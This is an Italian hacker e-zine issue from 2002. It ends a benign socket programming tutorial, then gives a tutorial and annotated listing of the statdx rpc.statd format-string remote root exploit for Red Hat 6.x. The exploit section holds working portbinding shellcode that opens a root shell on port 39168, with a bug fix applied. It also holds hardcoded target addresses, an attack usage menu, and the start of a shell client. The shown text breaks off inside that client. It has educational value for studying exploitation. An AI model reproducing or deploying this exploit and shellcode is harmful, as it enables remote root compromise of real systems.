| /* Il nostro client creerà un socket temporaneo per l'invio di una |
| richiesta di servizio al server. Useremo le strutture seguenti */ |
| |
| int socket_descriptor ; |
| struct sockaddr_in pin ; |
| struct hostent *server_host_name; |
| |
| /* il nostro client deve conoscere l'indirizzo IP dell'host. i programmi |
| d'esempio sono eseguibili in Linux facendo riferimento all'indirizzo IP |
| standard del pc locale, 127.0.0.1. La funzione usata per ricavare le |
| informazioni sul pc host e' la seguente */ |
| |
| server_host_name = gethostbyname( "127.0.0.1" ); |
| |
| /* ora che abbiamo a disposizione le info sul pc host possiamo farcire |
| la "sockaddr_in pin" */ |
| |
| bzero(&pin, sizeof(pin)); |
| pin.sin_family = AF_INET ; |
| pin.sin_addr.s_addr = htonl(INADDR_ANY) ; |
| pin.sin_addr.s_addr = ((struct in_addr *)(server_host_name->h_addr)) |
| ->s_addr; |
| pin.sin_port = htons(port) ; |
| |
| /* ora possiamo creare un socket con l'host*/ |
| |
| socket_descriptor = socket(AF_INET, SOCK_STREAM, 0); |
| |
| /* ed ora ci connettiamo all'host usando il socket*/ |
| |
| connect(socket_descriptor, (void *)&pin, sizeof(pin)); |
| |
| /* se il server fosse occupato, la chiamata rimane in attesa. Quando la |
| chiamata termina e' possibile inviare i dati al server */ |
| |
| send(socket_descriptor, "test data", strlen("test data") + 1, 0); |
| |
| /* la prossima chiamata, alla recv(), attende una risposta dal server |
| (buf e' una variabile di 8192 byte) */ |
| |
| recv(socket_descriptor, buf, 8192, 0); |
| |
| /* buf contiene i dati restituiti dal server. |
| Ora possiamo chiudere la connessione di socket temporanea col server |
| */ |
| |
| close(socket_descriptor); |
| ________________________________________________________________________ |
| |
| Per testare l'esecuzione delle nostre applicazioni, possiamo aprire 2 |
| xterm (o due konsole), una per il server e l'altra per il client. |
| Il server inizia digitando: |
| |
| AppServer |
| |
| il client puo' essere eseguito digitando: |
| |
| AppClient "Sono il test data che arrivera' al server!" |
| |
| Per interrompere il server.. CTRL^C |
| L'output generato dal programma server dovrebbe essere il seguente: |
| |
| snhyper@Charlotte1:/$ AppServer |
| |
| Accepting connection ... |
| received from client:Sono il test data che arrivera' al server! |
| |
| L'output generato dal client invece: |
| |
| snhyper@Charlotte1:/$ AppClient "Sono il test data che arrivera' al |
| server!" |
| |
| Sending message Sono il test data che arrivera' al server! to server |
| ..sent message.. wait for response ... |
| |
| Response from server: |
| |
| SONO IL TEST DATA CHE ARRIVERA' AL SERVER! |
| |
| Possiamo anche utilizzare un browser web per collegarci al nostro |
| server, basta aprire ad esempio Netscape e digitare come indirizzo: |
| |
| http://127.0.0.1:8000 |
| |
| In questo caso, 127.0.0.1, e' l'indirizzo IP locale e 8000 il num della |
| porta che avevamo selezionato. Il browser, come dovreste sapere, |
| inviera' una richiesta al server pensando sia un server web. Il server |
| accetta la richiesta, converte tutti i caratteri in maiuscolo, e |
| restituisce i dati al browser. |
| Sul browser dovrebbe apparirvi: |
| |
| GET / HTTP/1.0 CONNECTION: KEEP-ALIVE USER-AGENT: MOZILLA/4.5 [EN] |
| (X11; I; LINUX 2.4.5 I686) |
| HOST:127.0.0.1:8000 ACCEPT: IMAGE/GIF, IMAGE/X-XBITMAP, IMAGE/JPEG, |
| IMAGE/PJPEG, IMAGE/PNG, |
| */* ACCEPT-ENCODING: GZIP ACCEPT-LANGUAGE: EN |
| ACCEPT-CHARSET: ISO-8859-1,*,UTF-8 |
| |
| Figo vero? |
| Provate a collegarvi anche con altre applicazioni. |
| Questo serve anche molto per capire i tipi di richieste, e il |
| funzionamento dei protocolli e delle reti. |
| |
| p.s. I sorgenti completi e compilabili li trovate allegati nel presente |
| pacchetto. |
| |
| |
| * Byez && Thanks to: FuSyS, Nobody, Naif, Nextie, Tritemius, Morpheo, |
| Raptor, MoF, SirPsychoSexy,UIHA. E chi manca... |
| |
| * Fucks to : la maggior parte dei newbie che stanno crescendo, |
| cercando di farsi strada a spallate e farsi vedere, senza avere la |
| minima cognizione della passione, del tempo, dei tentativi e di tutto |
| cio' che sta dietro la figura di un hacker, etico o no che sia. A tutti |
| coloro che hanno perso *la visione magica* che sta dietro al codare, al |
| perdere ore per configurare le macchine, al passare nottate a testare un |
| prog che facilmente andra' in mano a molti di questi, alle ore sui libri |
| etc.. Ci sarebbero molte cose da dire ma.. a volte e' meglio ignorare. |
| Preferisco passare quel tempo ad aiutare che ha bisogno ( o a farmi |
| aiutare), ad imparare cose nuove etc... |
| |
| "NON NELLA CONOSCENZA STA IL POTERE, BENSI' |
| NELL'ACQUISIZIONE DELLA CONOSCENZA!" |
| |
| |
| ..::SNHYPER::.. |
| snhyper@hotmail.com |
| Linux registered user #249109 |
| Linux registered machine #133922 |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #06 - 25/04/2002 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0B/0x1D |
+--------------------------------------------------------------------------+
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse |
| piu' :) |
| |
| ***************************** Quarta puntata ************************** |
| |
| |
| |
| 5. Lo "shellcode" |
| |
| |
| "...gia', ma se possiamo saltare dove vogliamo nella esecuzione del |
| processo, perche' non fargli eseguire codice fornito da noi stessi?" |
| (...mica male, vero? ;) |
| |
| e' probabilmente l'interrogativo che molti si saranno posti... |
| effettivamente, se si riesce a controllare in qualche modo l'esecuzione |
| di un programma saltando all'indirizzo che vogliamo, perche' non |
| inserire ad un certo indirizzo di memoria del codice (che d'ora in poi |
| chiameremo familiarmente "shellcode") scritto da noi e saltare proprio a |
| quell'indirizzo? |
| |
| Ed infatti e' proprio questo aspetto il piu' interessante, non tanto in |
| termini di difficolta' tecnica quanto per gli aspetti legati ai vincoli |
| che il codice in questione deve rispettare per potere essere eseguito |
| con efficacia. |
| |
| Nei punti successivi analizzeremo brevemente proprio questi vincoli ed i |
| metodi posti in essere per risolverli; una trattazione davvero |
| interessante dal punto di vista tecnico, credetemi ;) |
| |
| Passeremo poi ad analizzare un caso concreto: l'exploit statdx, un |
| programmino che non molto tempo fa e' stato di grande utilita' per |
| coloro che volevano provare a "violare" i sistemi linux basati sul |
| demone rpc.statd di alcune distribuzioni linux, tra le quali fa spicco |
| la Red Hat 6.2 |
| |
| In ultimo, un piccolo punto di orgoglio: i miei dieci eurocent di |
| contributo. Durante l'analisi proprio dello shellcode di statdx ho |
| potuto rendermi conto di un errore di programmazione che non sempre |
| permetteva un accesso alla shell di root, ma anzi abbastanza spesso dava |
| come risultato il crash del demone senza alcuna possibilita' di recupero |
| funzionale e, cosa piu' importante, senza fornire alcun accesso |
| all'attaccante. Un rapido scambio di messaggi di e-mail con l'autore ha |
| potuto mettere in evidenza che si trattava effettivamente di un "bug" |
| del codice. E' stato molto istruttivo per me potermi confrontare con |
| questi aspetti. |
| |
| Ok, bando alle ciance: andiamo a cominciare! :) |
| |
| |
| |
| 5.1. posizionamento dello shellcode |
| |
| Uno dei principali problemi ai quali si va incontro quando si vuole fare |
| eseguire ad un programma del codice fornito da noi e' (ma guarda un po' |
| ;) proprio il "dove metterlo". Non abbiamo accesso ai sorgenti del |
| programma (intesi come i file sorgenti sulla macchina remote) e tanto |
| meno ai file su disco in cui e' memorizzato il codice eseguibile del |
| programma stesso, quindi non ci e' certo possibile intervenire su tali |
| oggetti per "nascondere" porzioni di codice aggiuntivo. L'unica |
| possibilita' che abbiamo e' proprio quella di "iniettare" del codice |
| utilizzando la sola strada a noi concessa: i dati in ingresso. E, se |
| guardiamo bene, questa e' anche la strada che abbiamo usato per |
| realizzare il "buffer overflow" che ci ha permesso di dirottare |
| l'esecuzione, quindi perche' non usare lo stesso metodo per inserire lo |
| shellcode? |
| |
| Inviando dei dati opportunamente formattati possiamo memorizzare sullo |
| stack dei valori che, ironia del destino (<grin>), rappresentano proprio |
| del codice eseguibile... |
| |
| Esistono, ovviamente, dei vincoli e delle limitazioni, ma con un po' di |
| buona volonta' possiamo tenerne conto e risolverli anche in maniera |
| elegante (come vedremo). |
| |
| Passiamo allora ad elencare i principali "ostacoli" che si frappongono |
| tra noi ed un codice eseguibile (ed eseguito) sulla macchina target. |
| |
| Innanzi tutto, sembra banale ma vi assicuro che non lo e', poiche' il |
| codice iniettato attraverso dei dati in ingressso viene giocoforza |
| memorizzato sullo stack, l'architettura del sistema operativo della |
| macchina target deve ammettere la possibilita' di eseguire del codice |
| presente, appunto, sullo stack. Fortunatamente questa caratteristica e' |
| abbastanza diffusa; sia i sistemi Linux che quelli Windows ammettono |
| questa possibilita', per cui alla fine questo non e' un vero ostacolo. |
| E' bene considerare, pero', che esistono delle architetture di sistema |
| che mantengono lo stack in una zona di memoria gestita in modo |
| particolare, sostanzialmente vietandone la possibilita' di contenere del |
| codice eseguibile; in questi casi decade automaticamente la possibilita' |
| di iniettare lo shellcode nello stack e tutto si complica terribilmente |
| (e per questo motivo non lo tratteremo in questa sede). |
| |
| In seconda battuta, a meno di non conoscere ESATTAMENTE l'indirizzo al |
| quale si saltera' nella esecuzione del programma (e' vero che l'esempio |
| degli articoli precedenti permetteva di determinare con esattezza questo |
| valore, ma esistono altre tecniche che non sono cosi' "precise" e che |
| permettono di saltare "vicino" ad un indirizzo), sara' necessario |
| prevedere la possibilita' di avere uno shellcode posizionato "in un |
| intorno" di un daterminato indirizzo. Questo problema si risolve |
| abbastanza facilmente, facendo precedere lo shellcode vero e proprio da |
| una lista di istruzioni "NOP" (No OPeration) che funzionano un po' come |
| dei "riempitivi" per quelle aree di memoria che si frappongono tra |
| l'indirizzo al quale si e' effettivamente saltati nella esecuzione e lo |
| shellcode vero e proprio. E' questa una tecnica abbastanza diffusa e di |
| buona regola nella preparazione di qualsiasi shellcode. |
| |
| |
| 5.2. esecuzione dello shellcode |
| |
| Cominciamo adesso con i problemi "VERI"... (fin qui si era scherzato ;) |
| |
| Poiche' lo shellcode trova posto in una stringa ASCII (e' questo l'unico |
| tipo di dato che possiamo passare al nostro programma... sic) NON |
| SARANNO AMMESSI VALORI DI BYTE UGUALI A ZERO, pena il troncamento della |
| stringa stessa (lo zero, ricordo, viene interpretato dalle funzioni del |
| "C" come terminatore di stringa) e conseguente perdita dei valori |
| successivi allo zero in questione. E' questo un problema effettivamente |
| presente, soprattutto se consideriamo che il valore zero viene spesso |
| usato per inizializzare in maniera opportuna eventuali variabili, o |
| addirittura viene passato come valore per molti parametri di funzione... |
| pertanto si dovra' provvedere a trovare dei metodi alternativi alla |
| classica istruzione assembler di "Move 0,destinazione" per azzerare |
| eventuali variabili o registri. Per fortuna l'assembler ha una |
| meravigliosa istruzione di "eXclusive OR" che implementa appunto la |
| tabella di verita' XOR. Come sappiamo bene, una delle interessanti |
| caratteristiche di questa funzione booleana e' quella di azzerare una |
| variabile messa in XOR con se stessa, per cui invece di una |
| |
| MOV 0,dest |
| |
| possiamo, per azzerare, utilizzare una |
| |
| XOR dest,dest |
| |
| ottenendo lo stesso risultato. |
| |
| Nell'assembler della architettura Intel esistono diverse istruzioni xor, |
| a seconda della lunghezza in byte della variabile da trattare, ma |
| sostanzialmente le cose non cambiano. |
| |
| |
| Ultimo problema, non meno banale: la cosiddetta "rilocabilita'" dello |
| shellcode. |
| |
| Cosa significa "rilocabilita'"? Sostanzialmente il fatto che lo |
| shellcode dovrebbe essere il piu' possibile (per non dire totalmente) |
| indipendente dall'indirizzo al quale viene memorizzato; ogni riferimento |
| dovrebbe essere fatto attraverso indirizzamenti indiretti. Purtroppo non |
| sempre questo e' possibile... esistono dei casi (uno fra tutti il |
| passaggio di un indirizzo di struttura ad una funzione che lo necessiti) |
| in cui non e' possibile effettuare una vallorizzazione indiretta. Come |
| fare, allora? |
| |
| Eh, beh, qui devo dire che e' stato fatto un mezzo capolavoro ;) |
| Sostanzialmente, si sfrutta la capacita' dell'istruzione JSR (chiamata a |
| subroutine) di memorizzare l'indirizzo di ritorno sullo stack. La |
| struttura dati della quale reperire l'indirizzo assoluto viene |
| memorizzata al fondo dello shellcode e subito prima di questa vi e' una |
| serie di istruzioni che ci permettono di ottenere tale indirizzo. Lo |
| shellcode avra' pertanto la seguente struttura: |
| |
| shellcode: jmp find_addr |
| go_on: pop ax |
| . |
| . |
| . |
| find_addr: jsr go_on |
| dati: ... |
| |
| Banale, no? ;) ;) ;) |
| |
| Scherzi a parte, con queste pochissime istruzioni si e' ottenuto quello |
| che volevamo. |
| |
| Analizziamole insieme: |
| |
| l'istruzione all'indirizzo "shellcode" esegue un salto incondizionato |
| all'indirizzo find_addr (ricordo che l'indirizzamento in questo tipo di |
| istruzioni puo' venire eseguito indirettamente, per cui non vi sono |
| problemi ad eseguirli in maniera indipendente da dove le istruzioni |
| siano memorizzate). A tale indirizzo troviamo una chiamata a subroutine |
| che salta all'indirizzo go_on ma METTE SULLO STACK L'INDIRIZZO DI |
| "dati". La prima istruzione all'indirizzo go_on e' una "popl %ecx " che |
| MEMORIZZA L'INDIRIZZO DI "dati" NEL REGISTRO ECX!!! Da qui in poi tutti |
| i conteggi possono essere fatti sulla base del valore di riferimento |
| contenuto in ecx!!! Mica male, vero? Certo, per i "puristi", resta |
| "scoperto" un livello di framebuffer (ossia c'e' una chiamata che |
| rischierebbe di non venire correttamente completata) ma si tratta, come |
| vedremo, di un problema relativo, poiche' l'esecuzione non raggiungera' |
| piu' una istruzione di "return" relativa a questa chiamata... |
| |
| Bene, adesso disponiamo effettivamente di tutti gli strumenti necessari |
| per analizzare e comprendere appieno la sottile bellezza dell'exploit |
| statdx, elemento "scatenante" di tutta questa serie di articoli e degno |
| conclusore della stessa. Vi lascio al listato dell'exploit, commentato |
| dal sottoscritto nelle sue parti maggiormente significative. |
| |
| |
| |
| 6. L'exploit statdx.c - analisi e commenti al listato |
| |
| |
| *********************** inizio del listato ************************ |
| |
| |
| /* commento "on source" dell' exploit rpc.statd */ |
| |
| |
| /** |
| *** statdx |
| *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32) |
| *** by ron1n <shellcode@hotmail.com> |
| |
| * >>> commented out (and FIXED! :) by xyzzy <xyzzy@vxp.com> |
| |
| * |
| * August 3, 2000 |
| * Sydney, Australia |
| * |
| * Oh you prob'ly won't remember me |
| * It's prob'ly ancient history |
| * I'm one of the chosen few |
| * Who went ahead and fell for you |
| * |
| * $ gcc -o statdx statdx.c ; ./statdx -h |
| * |
| * Thanks to smiler for the format string vulnerability clarification. |
| * |
| * background info |
| * --------------- |
| * rpc.statd is an ONC RPC server that implements the Network Status |
| * Monitor RPC protocol to provide reboot notification. It is used by |
| * the NFS file locking service (rpc.lockd) when it performs lock |
| * recovery. |
| |
| * >>> ecco qui una breve spiegazione dei compiti di rpc.statd |
| |
| * |
| * Due to a format string vulnerability in a call to syslog() within |
| * its logging module, rpc.statd can be exploited remotely by script |
| * kids bent on breaking into your Redhat Linux box and defacing your |
| * website with crackpot political musings. |
| |
| |
| * >>> ..gia', gia'.. un controllo di input non completamente efficace |
| * >>> fa si' che il demone possa venire "exploitato" e permetta quindi |
| * >>> di eseguire del codice fornito dall'attaccante. Tipicamente, si |
| * >>> tratta di codice che implementa (come vedremo)un semplice server |
| * >>> TCP che restituisce una shell con i privilegi con i quali e' in |
| * >>> esecuzione il server rpc.statd stesso (tipicamente quelli di |
| * >>> root... piu' che sufficiente, no? ;) |
| |
| * |
| * This is not a traditional buffer overflow vulnerability. The data |
| * are kept within the bounds of the buffer by means of a call to |
| * vsnprintf(). The saved return address can be overwritten indirectly |
| * without a contiguous payload. syslog() is given, for the most part, |
| * a user-supplied format string with no process-supplied arguments. |
| |
| * >>> ecco qui la spiegazione tecnica: non si tratta di un "buffer |
| * >>> overflow" tradizionale. La lunghezza del buffer passato viene |
| * >>> mantenuta entro i limiti attraverso una chiamata alla funzione |
| * >>> vsnprintf. Peccato che l'indirizzo di ritorno possa venire |
| * >>> sovrascritto indirettamente attraverso un formato ben preciso |
| * >>> della stringa passata. |
| |
| * Our format string will, if carefully constructed, cause the process |
| * to cull non-arbitrary addresses from the top of the stack for |
| * sequential writes using controlled values. Exploitation requires |
| * an executable stack on the target host -- almost invariably the |
| * case. This problem was corrected in the nfs-utils-0.1.9.1 rpm. |
| |
| * >>> ulteriori spiegazioni: la stringa fornita al demone puo', se |
| * >>> opportunamente costruita, fare si' che il processo rpc.statd |
| * >>> raccolga indirizzi ben precisi dallo stack (che so, ad esempio |
| * >>> l'indirizzo di ritorno della routine? ;) e riscriverli con |
| * >>> valori ben precisi (che so, l'indirizzo di una routine assembler |
| * >>> che e' stata messa nella stringa stessa e della quale si conosce, |
| * >>> appunto, l'indirizzo ;).Ovviamente, per funzionare, c'e' bisogno |
| * >>> che la zona di memoria che cointiene lo stack sia classificata |
| * >>> come "eseguibile"... ma praticamente tutte le versioni di linux |
| * >>> la classificano come tale. |
| |
| * |
| * exploit info |
| * ------------ |
| * You have one shot at this in most situations, so get it right! |
| |
| * >>> eh, gia'! Un unico tentativo! Se qualcosa va storto la prima |
| * >>> volta, addio: i puntatori del buffer cambiano |
| |
| * |
| * If you know the port number rpc.statd is serving requests on, you |
| * can supply the port number on the commandline to bypass the initial |
| * portmapper query. This is very useful for hosts which are filtering |
| * inbound connections to the portmapper. The default attack protocol |
| * is UDP. There is a commandline option to use TCP. Apparently, the |
| * dispatcher uses both protocols by default. |
| |
| * >>> ...beh, certo. Se gia' si conosce la porta sulla quale opera il |
| * >>>demone,e' tutto lavoro guadagnato (e soprattutto, come ricordato |
| * >>> giustamente anche dall'autore, si possono aggirare le eventuali |
| * >>> barriere che un firewall potrebbe avere costruito per regolare |
| * >>> l'accesso al portmapper, il demone che fornisce indicazioni |
| * >>> sulle porte usate dai vari altri demoni) |
| |
| |
| * |
| * If you're only interested in exploiting a host, then you can safely |
| * skip the following information. You'll only need a buffer address |
| * to get started. This buffer address will either be one of my canned |
| * ones or your own one. It must be precise, and this is where you're |
| * likely to experience difficulties with your attacks. |
| * |
| * [va_list][str][4][r][4][r+1][4][r+2][4][r+3]-----> |
| * | | |
| * %esp buffer[1024] |
| * |
| * [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]---> |
| * | r | r+1 | r+2 | r+3 | |
| * |
| * buffer-> This is the address you'll need (-a and -l options) |
| * str -> Process-supplied string; 24 bytes long |
| * 4 -> Duplicate dwords to satisfy the %!d specifiers and |
| * the double %n when two successive values are equal |
| * r -> Stack position of saved eip |
| * %8x.. -> Wipes the va_list dword and str; 9 by default (-w option) |
| * %!x -> Used for padding to form an aggregate overwrite value; |
| * the exclamation mark denotes a field width. This may |
| * or may not be present, depending on the value. An |
| * algorithm is used to allow tricky values. |
| * %n -> Writes overwrite value to the corresponding address |
| * sc -> Nops + portbinding shellcode (port 39168) |
| * |
| * Only modify the default wipe value and the default offset value |
| * if you know what you're doing. |
| |
| * >>> ecco qui, condensata in poche righe, l'essenza dell'exploit. In |
| * >>> sostanza, si utilizza il formato %n previsto dalla printf (e |
| * >>> dalla sua variante vsnprintf richiamata dalla syslog) per |
| * >>> sovrascrivere gli indirizzi di ritorno della routine e farli |
| * >>> "puntare" al codice fornito all'interno dello stesso buffer che |
| * >>> si vuole stampare. Per ottenere i corretti valori da scrivere si |
| * >>> utilizza la tecnica della formattazione dell'output utilizzando |
| * >>> un formato del tipo %!x, dove il carattere "!" rappresenta il |
| * >>> numero di caratteri che si vuole scrivere ed e' estremamente |
| * >>> importante poiche' condiziona il valore che si andra' a scrivere |
| * >>> successivamente. |
| |
| * |
| * An easy way to get the buffer address for simulation systems that you |
| * have privileged access to: |
| * |
| * [term 1]# ltrace -p `pidof rpc.statd` -o foo |
| * [term 2]$ ./statdx -a 0x41414141 localhost |
| * [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \ |
| * awk -F"," '{print $1}' |
| |
| * >>> effettivamente se si ha la possibilita' di accedere ad un sistema |
| * >>> in maniera privilegiata, questo e' un buon modo per determinare |
| * >>> l'indirizzo del buffer. |
| |
| * |
| *(Of course,ensure that rpc.statd is started at boot time and not from |
| * an interactive shell, otherwise it will inherit a larger environment |
| * and blow the accuracy of your findings.) |
| |
| |
| * >>> superfluo?puo' darsi.ma poiche "repetita juvant" ancora una |
| * >>> volta e' bene ricordare che tutto quanto funziona se e solo se il |
| * >>> demone rpc.statd e' stato lanciato dall'opportuno script al boot |
| * >>> del sistema,altrimenti l'indirizzo del buffer sara' certamente |
| * >>> diverso a causa (come segnala

  
to dall'autore) del maggiore spazio |
| * >>> in memoria dedicato alle variabili di ambiente ereditate dal |
| * >>> processo. |
| * |
| * Ok, longwinded enough. Let's dance. |
| |
| D'accordo! Tutti in pista! ;) |
| |
| * |
| * greets |
| * ------ |
| * ADM, attrition, rogues, security.is, teso |
| * |
| / |
| |
| |
| |
| /** >>>varie include e definizioni(per rendere la vita piu' facile) */ |
| |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <errno.h> |
| #include <unistd.h> |
| #include <netdb.h> |
| #include <rpc/rpc.h> |
| #include <sys/types.h> |
| #include <sys/time.h> |
| #include <sys/socket.h> |
| #include <netinet/in.h> |
| |
| #define SM_PROG 100024 |
| #define SM_VERS 1 |
| #define SM_STAT 1 |
| #define SM_MAXSTRLEN 1024 |
| |
| #define max(a,b) ((a)>(b)?(a):(b)) |
| |
| #define NOP 0x90 |
| |
| |
| /** |
| * |
| * >>> ecco il "cuore" dell'exploit: lo shellcode! Quell'insieme di |
| * >>> istruzioni assembler che, una volta in esecuzione, attivano |
| * >>> in qualche modo la possibilita' di "controllare" il sistema |
| * >>> attaccato; in questo caso, si attiva una shell in ascolto |
| * >>> sulla porta 39168. La tecnica usata e' simile a quella dei |
| * >>> buffer overflow tradizionali |
| * |
| **/
|
| |
| |
| /* |
| ** Non-ripped linux IA32 portbinding shellcode. |
| ** port: 39168 ; length: 133 bytes |
| */
|
| |
| char shellcode[] = |
| "\x31\xc0" /* xorl %eax,%eax */ |
| /* jmp ricochet ------------------------------------------------ */ |
| "\xeb\x7c" /* jmp 0x7c */ |
| /* kungfu: ----------------------------------------------------- */ |
| "\x59" /* popl %ecx */ |
| "\x89\x41\x10" /* movl %eax,0x10(%ecx) */ |
| /* ----------------------------- socket(2,1,0); ---------------- */ |
| "\x89\x41\x08" /* movl %eax,0x8(%ecx) */ |
| "\xfe\xc0" /* incb %al */ |
| "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| "\x89\xc3" /* movl %eax,%ebx */ |
| "\xfe\xc0" /* incb %al */ |
| "\x89\x01" /* movl %eax,(%ecx) */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- bind(sd,&sockaddr,16); -------- */ |
| "\xb3\x02" /* movb $0x2,%bl */ |
| "\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ |
| "\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ |
| "\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ |
| "\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ |
| "\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ |
| "\x88\x01" /* movb %al,(%ecx) */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- listen(sd,blah); -------------- */ |
| "\xb3\x04" /* movb $0x4,%bl */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- accept(sd,0,16); -------------- */ |
| "\xb3\x05" /* movb $0x5,%bl */ |
| /** |
| *** |
| *** >>> A T T E N Z I O N E ! ! ! ! |
| *** >>> ecco il problema!!! Le due istruzioni successive sono state |
| *** >>> commentate e sostituite con le altre due per permettere una |
| *** >>> corretta esecuzione dello shellcode. Nel capitolo successivo |
| *** >>> verranno date tutte le spiegazioni del caso |
| *** |
| **/
|
| /* "\x30\xc0" xorb %al,%al */ |
| /* "\x88\x41\x04" movb %al,0x4(%ecx) */ |
| /** |
| *** |
| *** >>> queste sono le nuove istruzioni inserite in sostituzione |
| *** |
| **/
|
| "\x31\xc0" /* xorl %eax,%eax */ |
| "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| /** |
| *** |
| *** >>> ok, si puo' proseguire ;) |
| *** |
| **/
|
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,0); ------------------- */ |
| "\x89\xce" /* movl %ecx,%esi */ |
| "\x88\xc3" /* movb %al,%bl */ |
| "\x31\xc9" /* xorl %ecx,%ecx */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,1); ------------------- */ |
| "\xfe\xc1" /* incb %cl */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,2); ------------------- */ |
| "\xfe\xc1" /* incb %cl */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- execve("/bin/sh",argv,0); ----- */ |
| "\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */ |
| "\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */ |
| "\x30\xc0" /* xorb %al,%al */ |
| "\x88\x46\x07" /* movb %al,0x7(%esi) */ |
| "\x89\x76\x0c" /* movl %esi,0xc(%esi) */ |
| "\x8d\x56\x10" /* leal 0x10(%esi),%edx */ |
| "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ |
| "\x89\xf3" /* movl %esi,%ebx */ |
| "\xb0\x0b" /* movb $0xb,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- exit(blah); ------------------- */ |
| "\xb0\x01" /* movb $0x1,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ricochet: call kungfu ----------------------------------------- */ |
| "\xe8\x7f\xff\xff\xff"; /* call -0x81 */ |
| |
| |
| /** |
| *** |
| *** >>> dichiarazione di variabili di lavoro |
| *** |
| **/
|
| |
| |
| enum res |
| { |
| stat_succ, |
| stat_fail |
| }; |
| |
| struct sm_name |
| { |
| char *mon_name; |
| }; |
| |
| struct sm_stat_res |
| { |
| enum res res_stat; |
| int state; |
| }; |
| |
| struct type |
| { |
| int type; |
| char *desc; |
| char *code; |
| u_long bufpos; |
| int buflen; |
| int offset; |
| int wipe; |
| }; |
| |
| struct type types[] = |
| { |
| {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {0, NULL, NULL, 0, 0, 0, 0} |
| }; |
| |
| /** |
| *** |
| *** >>> routine di utilita' per valorizzare correttamente le chiamate |
| *** >>> di collegamento UDP |
| *** |
| **/
|
| |
| |
| bool_t |
| xdr_sm_name(XDR *xdrs, struct sm_name *objp) |
| { |
| if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| bool_t |
| xdr_res(XDR *xdrs, enum res *objp) |
| { |
| if (!xdr_enum(xdrs, (enum_t *)objp)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| bool_t |
| xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp) |
| { |
| if (!xdr_res(xdrs, &objp->res_stat)) |
| return (FALSE); |
| if (!xdr_int(xdrs, &objp->state)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| |
| /** |
| *** |
| *** >>> come ogni software che si rispetti, una bella "help page" |
| *** >>> che descriva l'utilizzo non fa mai male... ;) |
| *** |
| **/
|
| |
| |
| void |
| usage(char *app) |
| { |
| int i; |
| |
| fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n"); |
| fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app); |
| fprintf(stderr, "\t[-o offset] [-w num] [-s secs] |
| [-d type] <target>\n"
); |
| fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n"); |
| fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n"); |
| fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n"); |
| fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n"); |
| fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n"); |
| fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n"); |
| fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n"); |
| fprintf(stderr, "-d\tuse a hardcoded <type>\n"); |
| fprintf(stderr, "Available types:\n"); |
| |
| for(i = 0; types[i].desc; i++) |
| fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc); |
| |
| exit(EXIT_FAILURE); |
| } |
| |
| |
| /** |
| * |
| * >>> ecco qui la routine che, in caso di exploit riuscito, implementa |
| * >>> la parte "client" della connessione; tale routine invia sulla |
| * >>> connessione realizzata le stringhe che l'attaccante digita sulla |
| * >>> tastiera, visualizzando a video i messaggi di ritorno della |
| * >>> connessione stessa. Potrebbe anche essere superflua, sostituita |
| * >>> da un normale "telnet" sulla porta interessata, ma l'autore ha |
| * >>> voluto fare le cose per bene... ;) |
| * |
| **/
|
| |
| void |
| runshell(int sockd) |
| { |
| char buff[1024]; |
| int fmax, ret; |
| fd_set fds; |
| |
| fmax = max(fileno(stdin), sockd) + 1; |
